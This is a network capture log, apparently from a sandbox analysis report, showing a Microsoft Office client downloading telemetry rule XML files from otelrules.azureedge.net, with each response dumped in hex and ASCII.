2024-11-23 20:16:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:02 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 6e54758c-301e-0020-321b-3d6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201602Z-178bfbc474bv587zhC1NYCny5w00000004v0000000008491 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:02 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.8	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:02 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:02 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: a6c16221-901e-002a-0257-3c7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201602Z-15b8b599d88cn5thhC1TEBqxkn000000038000000000enn2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:02 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.8	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:02 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:02 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 93d7ba64-801e-002a-7fce-3b31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201602Z-15b8b599d88hr8sfhC1TEBbca400000003cg000000002td8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:02 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.8	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:03 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:03 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: e2b7c591-f01e-003f-257e-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201603Z-174c587ffdfmlsmvhC1TEBvyks00000003h000000000fcv8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:03 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.8	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:03 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:03 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 7a39f588-d01e-0014-712e-3ded58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201603Z-178bfbc474bbcwv4hC1NYCypys00000004r000000000k6yc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:03 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.8	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:04 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:04 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: fafd7d00-e01e-00aa-3a63-3bceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201604Z-178bfbc474bwlrhlhC1NYCy3kg00000004yg00000000a75u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:04 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.8	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:04 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:05 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 9d7b10d0-e01e-0099-63bc-3bda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201605Z-15b8b599d88pxmdghC1TEBux9c00000003mg000000004dkf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:05 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.8	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:04 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:05 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: ba159eff-a01e-000d-0e45-3cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201605Z-178bfbc474bq2pr7hC1NYCkfgg000000052000000000cdc6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:05 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.8	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:05 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:05 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4e89b2fa-a01e-006f-563a-3c13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201605Z-178bfbc474b9fdhphC1NYCac0n00000004ug00000000embn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:05 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.8	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:05 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:06 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: dd6dc7e9-901e-008f-3238-3c67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201606Z-15b8b599d88wn9hhhC1TEBry0g00000003hg000000003hpm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:06 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.8	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:06 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:07 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: c9b33041-e01e-0033-176b-3b4695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201607Z-178bfbc474bscnbchC1NYCe7eg000000050g00000000gqk7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:07 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.8	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:07 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:07 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201607Z-178bfbc474bscnbchC1NYCe7eg00000004z000000000pbs1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:07 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.8	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
